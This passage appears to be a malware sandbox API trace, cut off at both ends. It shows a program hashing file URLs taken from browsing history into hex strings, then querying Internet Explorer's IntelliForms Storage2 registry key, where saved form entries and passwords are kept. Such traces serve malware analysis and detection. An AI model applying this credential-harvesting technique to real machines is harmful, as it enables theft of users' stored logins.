param_2="%02X" | out: param_1="D8") returned 2 [0077.982] lstrlenA (lpString="DE2ACC188DDCDA9BD374C6EC54483E") returned 30 [0077.982] lstrlenA (lpString="D8") returned 2 [0077.982] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0077.982] lstrcpyA (in: lpString1=0x6293a8, lpString2="DE2ACC188DDCDA9BD374C6EC54483E" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54483E") returned="DE2ACC188DDCDA9BD374C6EC54483E" [0077.982] lstrcatA (in: lpString1="DE2ACC188DDCDA9BD374C6EC54483E", lpString2="D8" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED8") returned="DE2ACC188DDCDA9BD374C6EC54483ED8" [0077.982] LocalFree (hMem=0x652b60) returned 0x0 [0077.982] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="72") returned 2 [0077.982] lstrlenA (lpString="DE2ACC188DDCDA9BD374C6EC54483ED8") returned 32 [0077.982] lstrlenA (lpString="72") returned 2 [0077.982] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0077.982] lstrcpyA (in: lpString1=0x6292f8, lpString2="DE2ACC188DDCDA9BD374C6EC54483ED8" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED8") returned="DE2ACC188DDCDA9BD374C6EC54483ED8" [0077.982] lstrcatA (in: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED8", lpString2="72" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED872") returned="DE2ACC188DDCDA9BD374C6EC54483ED872" [0077.982] LocalFree (hMem=0x6293a8) returned 0x0 [0077.982] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9D") returned 2 [0077.982] lstrlenA (lpString="DE2ACC188DDCDA9BD374C6EC54483ED872") returned 34 [0077.982] lstrlenA (lpString="9D") returned 2 [0077.982] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0077.982] lstrcpyA (in: lpString1=0x6293a8, lpString2="DE2ACC188DDCDA9BD374C6EC54483ED872" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED872") returned="DE2ACC188DDCDA9BD374C6EC54483ED872" [0077.982] lstrcatA (in: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED872", lpString2="9D" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED8729D") returned="DE2ACC188DDCDA9BD374C6EC54483ED8729D" [0077.982] LocalFree (hMem=0x6292f8) returned 0x0 [0077.982] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6A") returned 2 [0077.982] lstrlenA (lpString="DE2ACC188DDCDA9BD374C6EC54483ED8729D") returned 36 [0077.982] lstrlenA (lpString="6A") returned 2 [0077.983] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0077.983] lstrcpyA (in: lpString1=0x6292f8, lpString2="DE2ACC188DDCDA9BD374C6EC54483ED8729D" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED8729D") returned="DE2ACC188DDCDA9BD374C6EC54483ED8729D" [0077.983] lstrcatA (in: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED8729D", lpString2="6A" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A") returned="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A" [0077.983] LocalFree (hMem=0x6293a8) returned 0x0 [0077.983] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="91") returned 2 [0077.983] lstrlenA (lpString="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A") returned 38 [0077.983] lstrlenA (lpString="91") returned 2 [0077.983] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647a00 [0077.983] lstrcpyA (in: lpString1=0x647a00, lpString2="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A") returned="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A" [0077.983] lstrcatA (in: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A", lpString2="91" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A91") returned="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A91" [0077.983] LocalFree (hMem=0x6292f8) returned 0x0 [0077.984] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="7F") returned 2 [0077.984] lstrlenA (lpString="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A91") returned 40 [0077.984] lstrlenA (lpString="7F") returned 2 [0077.984] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647890 [0077.984] lstrcpyA (in: lpString1=0x647890, lpString2="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A91" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A91") returned="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A91" [0077.984] lstrcatA (in: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A91", lpString2="7F" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A917F") returned="DE2ACC188DDCDA9BD374C6EC54483ED8729D6A917F" [0077.984] LocalFree (hMem=0x647a00) returned 0x0 [0077.985] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.985] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.985] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.985] LocalFree (hMem=0x647890) returned 0x0 [0077.985] CoTaskMemFree (pv=0x657f88) [0077.985] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/AppData/Roaming/-Z-dgNvOsqVq3TjSQId.pdf", lpSrch="?") returned 0x0 [0077.985] lstrlenW (lpString="file:///C:/Users/EEBsYm5/AppData/Roaming/-Z-dgNvOsqVq3TjSQId.pdf") returned 64 [0077.985] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6A") returned 2 [0077.985] lstrlenA (lpString="") returned 0 [0077.985] lstrlenA (lpString="6A") returned 2 [0077.985] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65a5c8 [0077.985] lstrcpyA (in: lpString1=0x65a5c8, lpString2="" | out: lpString1="") returned="" [0077.985] lstrcatA (in: lpString1="", lpString2="6A" | out: lpString1="6A") returned="6A" [0077.985] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="25") returned 2 [0077.985] lstrlenA (lpString="6A") returned 2 [0077.985] lstrlenA (lpString="25") returned 2 [0077.985] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65a658 [0077.985] lstrcpyA (in: lpString1=0x65a658, lpString2="6A" | out: lpString1="6A") returned="6A" [0077.985] lstrcatA (in: lpString1="6A", lpString2="25" | out: lpString1="6A25") returned="6A25" [0077.985] LocalFree (hMem=0x65a5c8) returned 0x0 [0077.985] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B7") returned 2 [0077.985] lstrlenA (lpString="6A25") returned 4 [0077.985] lstrlenA (lpString="B7") returned 2 [0077.985] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65a5c8 [0077.985] lstrcpyA (in: lpString1=0x65a5c8, lpString2="6A25" | out: lpString1="6A25") returned="6A25" [0077.985] lstrcatA (in: lpString1="6A25", lpString2="B7" | out: lpString1="6A25B7") returned="6A25B7" [0077.985] LocalFree (hMem=0x65a658) returned 0x0 [0077.986] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="10") returned 2 [0077.986] lstrlenA (lpString="6A25B7") returned 6 [0077.986] lstrlenA (lpString="10") returned 2 [0077.986] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x65a658 [0077.986] lstrcpyA (in: lpString1=0x65a658, lpString2="6A25B7" | out: lpString1="6A25B7") returned="6A25B7" [0077.986] lstrcatA (in: lpString1="6A25B7", lpString2="10" | out: lpString1="6A25B710") returned="6A25B710" [0077.986] LocalFree (hMem=0x65a5c8) returned 0x0 [0077.986] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="46") returned 2 [0077.986] lstrlenA (lpString="6A25B710") returned 8 [0077.986] lstrlenA (lpString="46") returned 2 [0077.986] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x65a6f0 [0077.986] lstrcpyA (in: lpString1=0x65a6f0, lpString2="6A25B710" | out: lpString1="6A25B710") returned="6A25B710" [0077.986] lstrcatA (in: lpString1="6A25B710", lpString2="46" | out: lpString1="6A25B71046") returned="6A25B71046" [0077.986] LocalFree (hMem=0x65a658) returned 0x0 [0077.986] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D4") returned 2 [0077.986] lstrlenA (lpString="6A25B71046") returned 10 [0077.986] lstrlenA (lpString="D4") returned 2 [0077.986] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x65a5c8 [0077.986] lstrcpyA (in: lpString1=0x65a5c8, lpString2="6A25B71046" | out: lpString1="6A25B71046") returned="6A25B71046" [0077.986] lstrcatA (in: lpString1="6A25B71046", lpString2="D4" | out: lpString1="6A25B71046D4") returned="6A25B71046D4" [0077.986] LocalFree (hMem=0x65a6f0) returned 0x0 [0077.986] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="53") returned 2 [0077.986] lstrlenA (lpString="6A25B71046D4") returned 12 [0077.986] lstrlenA (lpString="53") returned 2 [0077.986] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x65a660 [0077.986] lstrcpyA (in: lpString1=0x65a660, lpString2="6A25B71046D4" | out: lpString1="6A25B71046D4") returned="6A25B71046D4" [0077.986] lstrcatA (in: lpString1="6A25B71046D4", lpString2="53" | out: lpString1="6A25B71046D453") returned="6A25B71046D453" [0077.986] LocalFree (hMem=0x65a5c8) returned 0x0 [0077.986] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="07") returned 2 [0077.986] lstrlenA (lpString="6A25B71046D453") returned 14 [0077.986] lstrlenA (lpString="07") returned 2 [0077.986] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65a6f8 [0077.986] lstrcpyA (in: lpString1=0x65a6f8, lpString2="6A25B71046D453" | out: lpString1="6A25B71046D453") returned="6A25B71046D453" [0077.986] lstrcatA (in: lpString1="6A25B71046D453", lpString2="07" | out: lpString1="6A25B71046D45307") returned="6A25B71046D45307" [0077.986] LocalFree (hMem=0x65a660) returned 0x0 [0077.986] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="37") returned 2 [0077.986] lstrlenA (lpString="6A25B71046D45307") returned 16 [0077.986] lstrlenA (lpString="37") returned 2 [0077.986] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65a5c8 [0077.987] lstrcpyA (in: lpString1=0x65a5c8, lpString2="6A25B71046D45307" | out: lpString1="6A25B71046D45307") returned="6A25B71046D45307" [0077.987] lstrcatA (in: lpString1="6A25B71046D45307", lpString2="37" | out: lpString1="6A25B71046D4530737") returned="6A25B71046D4530737" [0077.987] LocalFree (hMem=0x65a6f8) returned 0x0 [0077.987] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="39") returned 2 [0077.987] lstrlenA (lpString="6A25B71046D4530737") returned 18 [0077.987] lstrlenA (lpString="39") returned 2 [0077.987] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65a668 [0077.987] lstrcpyA (in: lpString1=0x65a668, lpString2="6A25B71046D4530737" | out: lpString1="6A25B71046D4530737") returned="6A25B71046D4530737" [0077.987] lstrcatA (in: lpString1="6A25B71046D4530737", lpString2="39" | out: lpString1="6A25B71046D453073739") returned="6A25B71046D453073739" [0077.987] LocalFree (hMem=0x65a5c8) returned 0x0 [0077.987] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="DC") returned 2 [0077.987] lstrlenA (lpString="6A25B71046D453073739") returned 20 [0077.987] lstrlenA (lpString="DC") returned 2 [0077.987] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65a5c8 [0077.987] lstrcpyA (in: lpString1=0x65a5c8, lpString2="6A25B71046D453073739" | out: lpString1="6A25B71046D453073739") returned="6A25B71046D453073739" [0077.987] lstrcatA (in: lpString1="6A25B71046D453073739", lpString2="DC" | out: lpString1="6A25B71046D453073739DC") returned="6A25B71046D453073739DC" [0077.987] LocalFree (hMem=0x65a668) returned 0x0 [0077.987] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A2") returned 2 [0077.987] lstrlenA (lpString="6A25B71046D453073739DC") returned 22 [0077.987] lstrlenA (lpString="A2") returned 2 [0077.987] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652b60 [0077.987] lstrcpyA (in: lpString1=0x652b60, lpString2="6A25B71046D453073739DC" | out: lpString1="6A25B71046D453073739DC") returned="6A25B71046D453073739DC" [0077.987] lstrcatA (in: lpString1="6A25B71046D453073739DC", lpString2="A2" | out: lpString1="6A25B71046D453073739DCA2") returned="6A25B71046D453073739DCA2" [0077.987] LocalFree (hMem=0x65a5c8) returned 0x0 [0077.987] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A4") returned 2 [0077.987] lstrlenA (lpString="6A25B71046D453073739DCA2") returned 24 [0077.987] lstrlenA (lpString="A4") returned 2 [0077.987] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652968 [0077.987] lstrcpyA (in: lpString1=0x652968, lpString2="6A25B71046D453073739DCA2" | out: lpString1="6A25B71046D453073739DCA2") returned="6A25B71046D453073739DCA2" [0077.987] lstrcatA (in: lpString1="6A25B71046D453073739DCA2", lpString2="A4" | out: lpString1="6A25B71046D453073739DCA2A4") returned="6A25B71046D453073739DCA2A4" [0077.987] LocalFree (hMem=0x652b60) returned 0x0 [0077.987] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2E") returned 2 [0077.987] lstrlenA (lpString="6A25B71046D453073739DCA2A4") returned 26 [0077.987] lstrlenA (lpString="2E") returned 2 [0077.987] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652b60 [0077.987] lstrcpyA (in: lpString1=0x652b60, lpString2="6A25B71046D453073739DCA2A4" | out: lpString1="6A25B71046D453073739DCA2A4") returned="6A25B71046D453073739DCA2A4" [0077.987] lstrcatA (in: lpString1="6A25B71046D453073739DCA2A4", lpString2="2E" | out: lpString1="6A25B71046D453073739DCA2A42E") returned="6A25B71046D453073739DCA2A42E" [0077.987] LocalFree (hMem=0x652968) returned 0x0 [0077.987] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F4") returned 2 [0077.988] lstrlenA (lpString="6A25B71046D453073739DCA2A42E") returned 28 [0077.988] lstrlenA (lpString="F4") returned 2 [0077.988] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652968 [0077.988] lstrcpyA (in: lpString1=0x652968, lpString2="6A25B71046D453073739DCA2A42E" | out: lpString1="6A25B71046D453073739DCA2A42E") returned="6A25B71046D453073739DCA2A42E" [0077.988] lstrcatA (in: lpString1="6A25B71046D453073739DCA2A42E", lpString2="F4" | out: lpString1="6A25B71046D453073739DCA2A42EF4") returned="6A25B71046D453073739DCA2A42EF4" [0077.988] LocalFree (hMem=0x652b60) returned 0x0 [0077.988] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="25") returned 2 [0077.988] lstrlenA (lpString="6A25B71046D453073739DCA2A42EF4") returned 30 [0077.988] lstrlenA (lpString="25") returned 2 [0077.988] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0077.988] lstrcpyA (in: lpString1=0x6292f8, lpString2="6A25B71046D453073739DCA2A42EF4" | out: lpString1="6A25B71046D453073739DCA2A42EF4") returned="6A25B71046D453073739DCA2A42EF4" [0077.988] lstrcatA (in: lpString1="6A25B71046D453073739DCA2A42EF4", lpString2="25" | out: lpString1="6A25B71046D453073739DCA2A42EF425") returned="6A25B71046D453073739DCA2A42EF425" [0077.988] LocalFree (hMem=0x652968) returned 0x0 [0077.988] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E3") returned 2 [0077.988] lstrlenA (lpString="6A25B71046D453073739DCA2A42EF425") returned 32 [0077.988] lstrlenA (lpString="E3") returned 2 [0077.988] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0077.988] lstrcpyA (in: lpString1=0x6293a8, lpString2="6A25B71046D453073739DCA2A42EF425" | out: lpString1="6A25B71046D453073739DCA2A42EF425") returned="6A25B71046D453073739DCA2A42EF425" [0077.988] lstrcatA (in: lpString1="6A25B71046D453073739DCA2A42EF425", lpString2="E3" | out: lpString1="6A25B71046D453073739DCA2A42EF425E3") returned="6A25B71046D453073739DCA2A42EF425E3" [0077.988] LocalFree (hMem=0x6292f8) returned 0x0 [0077.988] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="10") returned 2 [0077.988] lstrlenA (lpString="6A25B71046D453073739DCA2A42EF425E3") returned 34 [0077.988] lstrlenA (lpString="10") returned 2 [0077.988] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0077.988] lstrcpyA (in: lpString1=0x6292f8, lpString2="6A25B71046D453073739DCA2A42EF425E3" | out: lpString1="6A25B71046D453073739DCA2A42EF425E3") returned="6A25B71046D453073739DCA2A42EF425E3" [0077.988] lstrcatA (in: lpString1="6A25B71046D453073739DCA2A42EF425E3", lpString2="10" | out: lpString1="6A25B71046D453073739DCA2A42EF425E310") returned="6A25B71046D453073739DCA2A42EF425E310" [0077.988] LocalFree (hMem=0x6293a8) returned 0x0 [0077.988] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9B") returned 2 [0077.988] lstrlenA (lpString="6A25B71046D453073739DCA2A42EF425E310") returned 36 [0077.988] lstrlenA (lpString="9B") returned 2 [0077.988] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0077.988] lstrcpyA (in: lpString1=0x6293a8, lpString2="6A25B71046D453073739DCA2A42EF425E310" | out: lpString1="6A25B71046D453073739DCA2A42EF425E310") returned="6A25B71046D453073739DCA2A42EF425E310" [0077.988] lstrcatA (in: lpString1="6A25B71046D453073739DCA2A42EF425E310", lpString2="9B" | out: lpString1="6A25B71046D453073739DCA2A42EF425E3109B") returned="6A25B71046D453073739DCA2A42EF425E3109B" [0077.988] LocalFree (hMem=0x6292f8) returned 0x0 [0077.988] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5F") returned 2 [0077.988] lstrlenA (lpString="6A25B71046D453073739DCA2A42EF425E3109B") returned 38 [0077.988] lstrlenA (lpString="5F") returned 2 [0077.988] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647890 [0077.988] lstrcpyA (in: lpString1=0x647890, lpString2="6A25B71046D453073739DCA2A42EF425E3109B" | out: lpString1="6A25B71046D453073739DCA2A42EF425E3109B") returned="6A25B71046D453073739DCA2A42EF425E3109B" [0077.988] lstrcatA (in: lpString1="6A25B71046D453073739DCA2A42EF425E3109B", lpString2="5F" | out: lpString1="6A25B71046D453073739DCA2A42EF425E3109B5F") returned="6A25B71046D453073739DCA2A42EF425E3109B5F" [0077.989] LocalFree (hMem=0x6293a8) returned 0x0 [0077.989] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="90") returned 2 [0077.989] lstrlenA (lpString="6A25B71046D453073739DCA2A42EF425E3109B5F") returned 40 [0077.989] lstrlenA (lpString="90") returned 2 [0077.989] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647a00 [0077.989] lstrcpyA (in: lpString1=0x647a00, lpString2="6A25B71046D453073739DCA2A42EF425E3109B5F" | out: lpString1="6A25B71046D453073739DCA2A42EF425E3109B5F") returned="6A25B71046D453073739DCA2A42EF425E3109B5F" [0077.989] lstrcatA (in: lpString1="6A25B71046D453073739DCA2A42EF425E3109B5F", lpString2="90" | out: lpString1="6A25B71046D453073739DCA2A42EF425E3109B5F90") returned="6A25B71046D453073739DCA2A42EF425E3109B5F90" [0077.989] LocalFree (hMem=0x647890) returned 0x0 [0077.989] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.989] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.989] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.989] LocalFree (hMem=0x647a00) returned 0x0 [0077.989] CoTaskMemFree (pv=0x65a538) [0077.989] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/oUPTJ.gif", lpSrch="?") returned 0x0 [0077.989] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/oUPTJ.gif") returned 43 [0077.989] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="34") returned 2 [0077.989] lstrlenA (lpString="") returned 0 [0077.989] lstrlenA (lpString="34") returned 2 [0077.989] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65a538 [0077.989] lstrcpyA (in: lpString1=0x65a538, lpString2="" | out: lpString1="") returned="" [0077.989] lstrcatA (in: lpString1="", lpString2="34" | out: lpString1="34") returned="34" [0077.989] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C1") returned 2 [0077.989] lstrlenA (lpString="34") returned 2 [0077.989] lstrlenA (lpString="C1") returned 2 [0077.989] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65a5c8 [0077.989] lstrcpyA (in: lpString1=0x65a5c8, lpString2="34" | out: lpString1="34") returned="34" [0077.989] lstrcatA (in: lpString1="34", lpString2="C1" | out: lpString1="34C1") returned="34C1" [0077.989] LocalFree (hMem=0x65a538) returned 0x0 [0077.989] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F9") returned 2 [0077.989] lstrlenA (lpString="34C1") returned 4 [0077.989] lstrlenA (lpString="F9") returned 2 [0077.990] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65a538 [0077.990] lstrcpyA (in: lpString1=0x65a538, lpString2="34C1" | out: lpString1="34C1") returned="34C1" [0077.990] lstrcatA (in: lpString1="34C1", lpString2="F9" | out: lpString1="34C1F9") returned="34C1F9" [0077.990] LocalFree (hMem=0x65a5c8) returned 0x0 [0077.990] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="20") returned 2 [0077.990] lstrlenA (lpString="34C1F9") returned 6 [0077.990] lstrlenA (lpString="20") returned 2 [0077.990] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x65a5c8 [0077.990] lstrcpyA (in: lpString1=0x65a5c8, lpString2="34C1F9" | out: lpString1="34C1F9") returned="34C1F9" [0077.990] lstrcatA (in: lpString1="34C1F9", lpString2="20" | out: lpString1="34C1F920") returned="34C1F920" [0077.990] LocalFree (hMem=0x65a538) returned 0x0 [0077.990] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E1") returned 2 [0077.990] lstrlenA (lpString="34C1F920") returned 8 [0077.990] lstrlenA (lpString="E1") returned 2 [0077.990] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x65a660 [0077.990] lstrcpyA (in: lpString1=0x65a660, lpString2="34C1F920" | out: lpString1="34C1F920") returned="34C1F920" [0077.990] lstrcatA (in: lpString1="34C1F920", lpString2="E1" | out: lpString1="34C1F920E1") returned="34C1F920E1" [0077.990] LocalFree (hMem=0x65a5c8) returned 0x0 [0077.990] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A4") returned 2 [0077.990] lstrlenA (lpString="34C1F920E1") returned 10 [0077.990] lstrlenA (lpString="A4") returned 2 [0077.990] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x65a538 [0077.990] lstrcpyA (in: lpString1=0x65a538, lpString2="34C1F920E1" | out: lpString1="34C1F920E1") returned="34C1F920E1" [0077.990] lstrcatA (in: lpString1="34C1F920E1", lpString2="A4" | out: lpString1="34C1F920E1A4") returned="34C1F920E1A4" [0077.990] LocalFree (hMem=0x65a660) returned 0x0 [0077.990] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="78") returned 2 [0077.990] lstrlenA (lpString="34C1F920E1A4") returned 12 [0077.990] lstrlenA (lpString="78") returned 2 [0077.990] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x65a5d0 [0077.990] lstrcpyA (in: lpString1=0x65a5d0, lpString2="34C1F920E1A4" | out: lpString1="34C1F920E1A4") returned="34C1F920E1A4" [0077.990] lstrcatA (in: lpString1="34C1F920E1A4", lpString2="78" | out: lpString1="34C1F920E1A478") returned="34C1F920E1A478" [0077.990] LocalFree (hMem=0x65a538) returned 0x0 [0077.990] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4C") returned 2 [0077.990] lstrlenA (lpString="34C1F920E1A478") returned 14 [0077.990] lstrlenA (lpString="4C") returned 2 [0077.990] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65a668 [0077.990] lstrcpyA (in: lpString1=0x65a668, lpString2="34C1F920E1A478" | out: lpString1="34C1F920E1A478") returned="34C1F920E1A478" [0077.990] lstrcatA (in: lpString1="34C1F920E1A478", lpString2="4C" | out: lpString1="34C1F920E1A4784C") returned="34C1F920E1A4784C" [0077.990] LocalFree (hMem=0x65a5d0) returned 0x0 [0077.990] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="27") returned 2 [0077.991] lstrlenA (lpString="34C1F920E1A4784C") returned 16 [0077.991] lstrlenA (lpString="27") returned 2 [0077.991] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65a538 [0077.991] lstrcpyA (in: lpString1=0x65a538, lpString2="34C1F920E1A4784C" | out: lpString1="34C1F920E1A4784C") returned="34C1F920E1A4784C" [0077.991] lstrcatA (in: lpString1="34C1F920E1A4784C", lpString2="27" | out: lpString1="34C1F920E1A4784C27") returned="34C1F920E1A4784C27" [0077.991] LocalFree (hMem=0x65a668) returned 0x0 [0077.991] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="19") returned 2 [0077.991] lstrlenA (lpString="34C1F920E1A4784C27") returned 18 [0077.991] lstrlenA (lpString="19") returned 2 [0077.991] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65a5d8 [0077.991] lstrcpyA (in: lpString1=0x65a5d8, lpString2="34C1F920E1A4784C27" | out: lpString1="34C1F920E1A4784C27") returned="34C1F920E1A4784C27" [0077.991] lstrcatA (in: lpString1="34C1F920E1A4784C27", lpString2="19" | out: lpString1="34C1F920E1A4784C2719") returned="34C1F920E1A4784C2719" [0077.991] LocalFree (hMem=0x65a538) returned 0x0 [0077.991] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B5") returned 2 [0077.991] lstrlenA (lpString="34C1F920E1A4784C2719") returned 20 [0077.991] lstrlenA (lpString="B5") returned 2 [0077.991] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65a538 [0077.991] lstrcpyA (in: lpString1=0x65a538, lpString2="34C1F920E1A4784C2719" | out: lpString1="34C1F920E1A4784C2719") returned="34C1F920E1A4784C2719" [0077.991] lstrcatA (in: lpString1="34C1F920E1A4784C2719", lpString2="B5" | out: lpString1="34C1F920E1A4784C2719B5") returned="34C1F920E1A4784C2719B5" [0077.991] LocalFree (hMem=0x65a5d8) returned 0x0 [0077.991] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E7") returned 2 [0077.991] lstrlenA (lpString="34C1F920E1A4784C2719B5") returned 22 [0077.991] lstrlenA (lpString="E7") returned 2 [0077.991] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652968 [0077.991] lstrcpyA (in: lpString1=0x652968, lpString2="34C1F920E1A4784C2719B5" | out: lpString1="34C1F920E1A4784C2719B5") returned="34C1F920E1A4784C2719B5" [0077.991] lstrcatA (in: lpString1="34C1F920E1A4784C2719B5", lpString2="E7" | out: lpString1="34C1F920E1A4784C2719B5E7") returned="34C1F920E1A4784C2719B5E7" [0077.991] LocalFree (hMem=0x65a538) returned 0x0 [0077.991] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3C") returned 2 [0077.991] lstrlenA (lpString="34C1F920E1A4784C2719B5E7") returned 24 [0077.991] lstrlenA (lpString="3C") returned 2 [0077.991] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652b60 [0077.991] lstrcpyA (in: lpString1=0x652b60, lpString2="34C1F920E1A4784C2719B5E7" | out: lpString1="34C1F920E1A4784C2719B5E7") returned="34C1F920E1A4784C2719B5E7" [0077.991] lstrcatA (in: lpString1="34C1F920E1A4784C2719B5E7", lpString2="3C" | out: 